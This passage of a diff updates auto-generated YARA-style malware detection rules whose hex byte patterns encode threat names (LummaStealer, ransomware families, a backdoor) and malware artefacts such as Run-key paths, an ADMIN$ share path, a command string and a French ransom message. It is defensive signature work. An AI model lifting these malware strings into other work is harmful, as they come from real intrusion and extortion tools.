01 00 01 00 0b 00 21 23 48 53 54 52 3a 50 69 6e 62 61 6c 6c 5f 4e 61 6d 65 73 } //101 + $a_01_2 = {00 74 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 65 00 78 00 65 00 0a 00 30 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 52 00 65 00 6d 00 6f 00 74 00 65 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 00 00 61 ae 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c } //101 + $a_01_3 = {61 53 74 65 61 6c 65 72 2e 5a 5a 45 21 4d 54 42 00 01 00 7b 66 41 3b c5 75 06 66 44 89 2b eb 60 b9 0d 00 00 00 66 89 44 24 78 66 89 0b 49 8b 04 e8 48 8d 0c f8 8a 44 34 78 88 44 31 3a 48 ff c6 49 3b f4 7c e8 49 8b 04 e8 44 88 6c f8 3c eb 30 66 44 39 6c 24 70 75 05 49 3b de 74 bd 48 c7 c2 fe ff ff ff 41 8b cf 44 8d 42 03 e8 f2 } //28021 condition: - ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*101) >=20 + ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*101+(#a_01_3 & 1)*28021) >=20 } -rule _InfrastructureShared_27909{ +rule _InfrastructureShared_29650{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 5a 5a 45 21 4d 54 42 00 01 00 7b 66 41 3b c5 75 06 66 44 89 2b eb 60 b9 0d 00 00 00 66 89 44 24 78 66 89 0b 49 8b 04 e8 48 } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_29651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 0b 00 21 " @@ -363820,7 +386544,7 @@ rule _InfrastructureShared_27909{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29810+(#a_01_2 & 1)*17455+(#a_01_5 & 1)*25890+(#a_01_6 & 1)*24368+(#a_01_7 & 1)*13107+(#a_01_8 & 1)*17996+(#a_01_9 & 1)*30068+(#a_01_10 & 1)*24832) >=1 } -rule _InfrastructureShared_27910{ +rule _InfrastructureShared_29652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 04 00 21 " @@ -363832,7 +386556,7 @@ rule _InfrastructureShared_27910{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*117+(#a_01_3 & 1)*16687) >=7 } -rule _InfrastructureShared_27911{ +rule _InfrastructureShared_29653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -363850,7 +386574,7 @@ rule _InfrastructureShared_27911{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13878+(#a_01_2 & 1)*29298+(#a_01_3 & 1)*26980+(#a_01_4 & 1)*17999+(#a_01_5 & 1)*25971+(#a_01_6 & 1)*26999+(#a_01_7 & 1)*31337+(#a_01_8 & 1)*7563) >=9 } -rule _InfrastructureShared_27912{ +rule _InfrastructureShared_29654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 07 00 21 " @@ -363865,7 +386589,7 @@ rule _InfrastructureShared_27912{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29795+(#a_01_3 & 1)*78+(#a_01_4 & 1)*28265+(#a_01_5 & 1)*25714+(#a_01_6 & 1)*111) >=11 } -rule _InfrastructureShared_27913{ +rule _InfrastructureShared_29655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -363877,7 +386601,7 @@ rule _InfrastructureShared_27913{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*22304+(#a_01_2 & 1)*8993) >=30 } -rule _InfrastructureShared_27914{ +rule _InfrastructureShared_29656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -363888,7 +386612,7 @@ rule _InfrastructureShared_27914{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*115) >=30 } -rule _InfrastructureShared_27915{ +rule _InfrastructureShared_29657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -363898,19 +386622,31 @@ rule _InfrastructureShared_27915{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27916{ +rule _InfrastructureShared_29658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : $a_01_0 = {54 52 3a 52 6f 6b 65 72 5f 64 6f 5f 64 65 65 70 5f 72 65 73 63 61 6e 00 01 00 12 5c 00 75 00 70 00 64 00 61 00 74 00 65 00 72 00 5c 00 01 00 16 43 00 3a 00 5c 00 53 00 45 00 4c 00 46 00 2e 00 45 00 58 00 45 00 01 00 5a 53 00 6f 00 66 00 74 00 77 00 } //18467 - $a_01_1 = {00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 00 00 61 af 00 00 03 00 03 00 05 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 69 6e 79 } //97 - $a_01_2 = {21 64 68 61 00 01 00 10 77 00 69 00 6e 00 68 00 6c 00 64 00 36 00 34 00 01 00 22 5c 00 5c 00 25 00 73 00 5c 00 41 00 44 00 4d 00 49 00 4e 00 24 00 5c 00 25 00 73 00 2e 00 25 00 73 00 01 00 0c 2d } //11856 + $a_01_1 = {00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 00 00 61 af 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 } //97 + $a_01_2 = {4d 58 21 4d 54 42 00 01 00 0a 72 75 6e 69 6e 65 2e 65 78 65 01 00 2d 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 } //29285 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*97+(#a_01_2 & 1)*11856) >=3 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*97+(#a_01_2 & 1)*29285) >=3 } -rule _InfrastructureShared_27917{ +rule _InfrastructureShared_29659{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " + + strings : + $a_01_0 = {46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 4d 58 21 4d 54 42 00 01 00 0a 72 75 6e 69 6e 65 2e 65 78 65 01 00 2d 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 } //21283 + $a_01_1 = {6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 44 56 6f 73 20 66 69 63 68 69 65 72 73 20 73 6f 6e 74 20 65 6e 20 73 65 63 75 72 69 74 65 20 21 20 43 68 69 66 66 72 65 73 20 75 6e 69 71 75 65 6d 65 6e 74 20 61 76 65 63 20 6c 65 20 63 72 79 70 74 61 67 65 00 00 61 af 00 00 03 00 03 00 05 00 21 23 54 45 4c } //29298 + $a_01_2 = {63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 69 6e 79 50 2e 41 21 64 68 61 00 01 00 10 77 00 69 00 6e 00 68 00 6c 00 64 00 36 00 34 00 01 00 22 5c 00 5c 00 25 00 73 00 5c 00 41 00 44 00 4d 00 49 00 4e 00 24 00 5c 00 25 00 73 00 2e 00 25 00 73 00 01 00 0c 2d 00 6e 00 6f 00 73 00 76 00 63 00 01 } //16954 + condition: + ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*29298+(#a_01_2 & 1)*16954) >=3 + +} +rule _InfrastructureShared_29660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -363924,7 +386660,7 @@ rule _InfrastructureShared_27917{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*78+(#a_01_2 & 1)*8292+(#a_01_3 & 1)*12592+(#a_01_4 & 1)*12353) >=3 } -rule _InfrastructureShared_27918{ +rule _InfrastructureShared_29661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -363937,7 +386673,7 @@ rule _InfrastructureShared_27918{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14128+(#a_01_2 & 1)*12336+(#a_01_3 & 1)*19258) >=4 } -rule _InfrastructureShared_27919{ +rule _InfrastructureShared_29662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -363950,7 +386686,7 @@ rule _InfrastructureShared_27919{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24943+(#a_01_2 & 1)*14958+(#a_01_4 & 1)*120) >=4 } -rule _InfrastructureShared_27920{ +rule _InfrastructureShared_29663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -363965,7 +386701,7 @@ rule _InfrastructureShared_27920{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*85+(#a_01_2 & 1)*28265+(#a_01_3 & 1)*28521+(#a_01_4 & 1)*21076+(#a_01_5 & 1)*28265) >=6 } -rule _InfrastructureShared_27921{ +rule _InfrastructureShared_29664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 06 00 21 " @@ -363979,7 +386715,7 @@ rule _InfrastructureShared_27921{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*16910+(#a_01_3 & 1)*28265+(#a_01_4 & 1)*26990+(#a_01_5 & 1)*25970) >=7 } -rule _InfrastructureShared_27922{ +rule _InfrastructureShared_29665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 06 00 21 " @@ -363993,7 +386729,7 @@ rule _InfrastructureShared_27922{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*27747+(#a_01_3 & 1)*8993+(#a_01_4 & 1)*26383+(#a_01_5 & 1)*8993) >=8 } -rule _InfrastructureShared_27923{ +rule _InfrastructureShared_29666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -364011,7 +386747,7 @@ rule _InfrastructureShared_27923{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29298+(#a_01_2 & 1)*28530+(#a_01_3 & 1)*2817+(#a_01_4 & 1)*89+(#a_01_5 & 1)*21587+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=9 } -rule _InfrastructureShared_27924{ +rule _InfrastructureShared_29667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 02 00 21 " @@ -364021,7 +386757,7 @@ rule _InfrastructureShared_27924{ ((#a_01_0 & 1)*18467) >=11 } -rule _InfrastructureShared_27925{ +rule _InfrastructureShared_29668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 08 00 21 " @@ -364036,7 +386772,7 @@ rule _InfrastructureShared_27925{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*30477+(#a_01_3 & 1)*29541+(#a_01_5 & 1)*109+(#a_01_6 & 1)*111+(#a_01_7 & 1)*12084) >=16 } -rule _InfrastructureShared_27926{ +rule _InfrastructureShared_29669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -364046,7 +386782,7 @@ rule _InfrastructureShared_27926{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27927{ +rule _InfrastructureShared_29670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -364058,20 +386794,30 @@ rule _InfrastructureShared_27927{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*111+(#a_01_3 & 1)*28793) >=1 } -rule _InfrastructureShared_27928{ +rule _InfrastructureShared_29671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " strings : $a_01_0 = {46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 41 72 63 72 79 70 74 65 72 2e 44 00 02 00 15 5a 3a 5c 5f 41 52 43 5c 45 6e 63 72 79 70 74 65 72 2e 70 64 62 02 00 19 7a 3a 5c 5f 41 52 43 5c 45 6e 63 72 79 70 74 65 72 20 32 2e 30 2e } //16675 - $a_01_1 = {01 00 23 54 41 53 4b 4c 49 53 54 20 7c 3e 4e 55 4c 20 46 49 4e 44 53 54 52 20 2f 42 20 2f 4c 20 2f 49 20 2f 43 3a 01 00 2c 50 52 4f 47 52 41 4d 44 41 54 41 00 00 00 00 00 5c 4d 69 63 72 6f 73 6f 66 74 5c 53 65 74 74 69 6e 67 73 5c 00 00 00 00 2e 62 61 74 00 00 61 b0 00 00 04 00 04 00 04 00 21 } //25712 - $a_01_2 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4b 58 32 37 21 4d 54 42 00 01 00 4a 20 00 06 01 00 8d 08 00 00 01 13 04 16 0a 2b 42 16 0b 2b 27 08 06 07 6f 59 00 00 0a 26 08 06 07 6f 59 00 00 0a 13 09 11 09 28 5a } //18467 - $a_01_3 = {13 0a 11 04 09 11 0a d2 9c 07 } //0 + $a_01_1 = {01 00 23 54 41 53 4b 4c 49 53 54 20 7c 3e 4e 55 4c 20 46 49 4e 44 53 54 52 20 2f 42 20 2f 4c 20 2f 49 20 2f 43 3a 01 00 2c 50 52 4f 47 52 41 4d 44 41 54 41 00 00 00 00 00 5c 4d 69 63 72 6f 73 6f 66 74 5c 53 65 74 74 69 6e 67 73 5c 00 00 00 00 2e 62 61 74 00 00 61 b0 00 00 03 00 03 00 03 00 21 } //25712 + $a_01_2 = {46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 4d 4a 32 00 01 00 12 6f 00 70 00 65 00 72 00 61 00 2e 00 62 00 6d 00 70 00 01 00 5c 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 } //16675 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25712+(#a_01_2 & 1)*18467+(#a_01_3 & 1)*0) >=2 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25712+(#a_01_2 & 1)*16675) >=2 } -rule _InfrastructureShared_27929{ +rule _InfrastructureShared_29672{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " + + strings : + $a_01_0 = {46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 4d 4a 32 00 01 00 12 6f 00 70 00 65 00 72 00 61 00 2e 00 62 00 6d 00 70 00 01 00 5c 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 } //16675 + $a_01_2 = {00 64 00 72 00 69 00 76 00 65 00 72 00 69 00 64 00 65 00 6e 00 74 00 69 00 66 00 69 00 65 00 72 00 2e 00 63 00 6f 00 6d 00 2f 00 6f 00 66 } //119 搀爀椀瘀攀爀椀搀攀渀琀椀昀椀攀爀⸀挀漀洀⼀漀昀 + condition: + ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*119) >=3 + +} +rule _InfrastructureShared_29673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -364084,7 +386830,7 @@ rule _InfrastructureShared_27929{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*0+(#a_01_2 & 1)*22551+(#a_01_3 & 1)*2833) >=4 } -rule _InfrastructureShared_27930{ +rule _InfrastructureShared_29674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -364097,7 +386843,7 @@ rule _InfrastructureShared_27930{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24932+(#a_01_2 & 1)*14956+(#a_01_3 & 1)*23667) >=4 } -rule _InfrastructureShared_27931{ +rule _InfrastructureShared_29675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -364110,7 +386856,7 @@ rule _InfrastructureShared_27931{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25970+(#a_01_2 & 1)*0+(#a_01_3 & 1)*4096) >=4 } -rule _InfrastructureShared_27932{ +rule _InfrastructureShared_29676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -364125,7 +386871,7 @@ rule _InfrastructureShared_27932{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_27933{ +rule _InfrastructureShared_29677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -364140,7 +386886,7 @@ rule _InfrastructureShared_27933{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30063+(#a_01_2 & 1)*8513+(#a_01_5 & 1)*12320+(#a_01_6 & 1)*26723+(#a_01_7 & 1)*98) >=17 } -rule _InfrastructureShared_27934{ +rule _InfrastructureShared_29678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -364150,7 +386896,7 @@ rule _InfrastructureShared_27934{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27935{ +rule _InfrastructureShared_29679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -364161,7 +386907,7 @@ rule _InfrastructureShared_27935{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24909) >=2 } -rule _InfrastructureShared_27936{ +rule _InfrastructureShared_29680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -364174,7 +386920,7 @@ rule _InfrastructureShared_27936{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*76+(#a_01_2 & 1)*29545+(#a_01_3 & 1)*29557) >=4 } -rule _InfrastructureShared_27937{ +rule _InfrastructureShared_29681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 05 00 21 " @@ -364188,7 +386934,7 @@ rule _InfrastructureShared_27937{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*6144+(#a_01_2 & 1)*26980+(#a_01_3 & 1)*29541+(#a_01_4 & 1)*6912) >=6 } -rule _InfrastructureShared_27938{ +rule _InfrastructureShared_29682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -364203,7 +386949,7 @@ rule _InfrastructureShared_27938{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25956+(#a_01_2 & 1)*14958+(#a_01_3 & 1)*14392+(#a_01_4 & 1)*25707+(#a_01_6 & 1)*114) >=7 } -rule _InfrastructureShared_27939{ +rule _InfrastructureShared_29683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 05 00 21 " @@ -364216,7 +386962,7 @@ rule _InfrastructureShared_27939{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*11831+(#a_01_2 & 1)*7424+(#a_01_3 & 1)*27503) >=13 } -rule _InfrastructureShared_27940{ +rule _InfrastructureShared_29684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -364227,7 +386973,7 @@ rule _InfrastructureShared_27940{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*93) >=30 } -rule _InfrastructureShared_27941{ +rule _InfrastructureShared_29685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -364238,7 +386984,7 @@ rule _InfrastructureShared_27941{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*101) >=2 } -rule _InfrastructureShared_27942{ +rule _InfrastructureShared_29686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -364249,7 +386995,7 @@ rule _InfrastructureShared_27942{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*0) >=2 } -rule _InfrastructureShared_27943{ +rule _InfrastructureShared_29687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -364260,7 +387006,7 @@ rule _InfrastructureShared_27943{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*102) >=3 } -rule _InfrastructureShared_27944{ +rule _InfrastructureShared_29688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -364272,7 +387018,7 @@ rule _InfrastructureShared_27944{ ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*110+(#a_01_3 & 1)*1) >=3 } -rule _InfrastructureShared_27945{ +rule _InfrastructureShared_29689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -364285,7 +387031,7 @@ rule _InfrastructureShared_27945{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*28169+(#a_01_3 & 1)*29811+(#a_01_4 & 1)*29532) >=5 } -rule _InfrastructureShared_27946{ +rule _InfrastructureShared_29690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 08 00 21 " @@ -364300,7 +387046,7 @@ rule _InfrastructureShared_27946{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*3328+(#a_01_3 & 1)*114+(#a_01_5 & 1)*18185+(#a_01_6 & 1)*8503+(#a_01_7 & 1)*1) >=7 } -rule _InfrastructureShared_27947{ +rule _InfrastructureShared_29691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -364317,7 +387063,7 @@ rule _InfrastructureShared_27947{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*19976+(#a_01_3 & 1)*11+(#a_01_4 & 1)*28530+(#a_01_5 & 1)*25970+(#a_01_6 & 1)*67+(#a_01_7 & 1)*25938+(#a_01_8 & 1)*112) >=9 } -rule _InfrastructureShared_27948{ +rule _InfrastructureShared_29692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -364335,7 +387081,7 @@ rule _InfrastructureShared_27948{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*3328+(#a_01_2 & 1)*26994+(#a_01_3 & 1)*27430+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0+(#a_01_7 & 1)*25376+(#a_01_8 & 1)*12082+(#a_01_9 & 1)*114) >=11 } -rule _InfrastructureShared_27949{ +rule _InfrastructureShared_29693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 05 00 21 " @@ -364348,7 +387094,7 @@ rule _InfrastructureShared_27949{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29477+(#a_01_3 & 1)*108+(#a_01_4 & 1)*16740) >=21 } -rule _InfrastructureShared_27950{ +rule _InfrastructureShared_29694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -364358,7 +387104,7 @@ rule _InfrastructureShared_27950{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27951{ +rule _InfrastructureShared_29695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -364369,7 +387115,7 @@ rule _InfrastructureShared_27951{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*12142) >=1 } -rule _InfrastructureShared_27952{ +rule _InfrastructureShared_29696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -364382,7 +387128,7 @@ rule _InfrastructureShared_27952{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*77+(#a_01_2 & 1)*21618+(#a_01_3 & 1)*101) >=2 } -rule _InfrastructureShared_27953{ +rule _InfrastructureShared_29697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -364397,7 +387143,7 @@ rule _InfrastructureShared_27953{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*114+(#a_01_3 & 1)*29541+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_27954{ +rule _InfrastructureShared_29698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -364412,7 +387158,7 @@ rule _InfrastructureShared_27954{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25939+(#a_01_2 & 1)*18467+(#a_01_4 & 1)*18695+(#a_01_7 & 1)*12+(#a_01_8 & 1)*28257) >=9 } -rule _InfrastructureShared_27955{ +rule _InfrastructureShared_29699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 0c 00 21 " @@ -364430,7 +387176,7 @@ rule _InfrastructureShared_27955{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*18695+(#a_01_5 & 1)*12+(#a_01_6 & 1)*28257+(#a_01_7 & 1)*2560+(#a_01_8 & 1)*25974+(#a_01_9 & 1)*27498+(#a_01_10 & 1)*28277+(#a_01_11 & 1)*108) >=12 } -rule _InfrastructureShared_27956{ +rule _InfrastructureShared_29700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 0c 00 21 " @@ -364447,7 +387193,7 @@ rule _InfrastructureShared_27956{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22617+(#a_01_3 & 1)*8993+(#a_01_4 & 1)*25449+(#a_01_6 & 1)*30+(#a_01_7 & 1)*20038+(#a_01_8 & 1)*27748+(#a_01_11 & 1)*8993) >=12 } -rule _InfrastructureShared_27957{ +rule _InfrastructureShared_29701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 04 00 21 " @@ -364459,7 +387205,7 @@ rule _InfrastructureShared_27957{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29264+(#a_01_2 & 1)*26223) >=20 } -rule _InfrastructureShared_27958{ +rule _InfrastructureShared_29702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -364471,7 +387217,7 @@ rule _InfrastructureShared_27958{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*105+(#a_01_2 & 1)*20550) >=30 } -rule _InfrastructureShared_27959{ +rule _InfrastructureShared_29703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -364481,7 +387227,7 @@ rule _InfrastructureShared_27959{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27960{ +rule _InfrastructureShared_29704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -364491,7 +387237,7 @@ rule _InfrastructureShared_27960{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27961{ +rule _InfrastructureShared_29705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 05 00 21 " @@ -364504,7 +387250,7 @@ rule _InfrastructureShared_27961{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*30821+(#a_01_2 & 1)*29811+(#a_01_4 & 1)*92) >=2 } -rule _InfrastructureShared_27962{ +rule _InfrastructureShared_29706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -364514,7 +387260,7 @@ rule _InfrastructureShared_27962{ ((#a_01_0 & 1)*16675) >=3 } -rule _InfrastructureShared_27963{ +rule _InfrastructureShared_29707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -364526,7 +387272,7 @@ rule _InfrastructureShared_27963{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*103+(#a_01_2 & 1)*25701) >=3 } -rule _InfrastructureShared_27964{ +rule _InfrastructureShared_29708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -364538,7 +387284,7 @@ rule _InfrastructureShared_27964{ ((#a_01_0 & 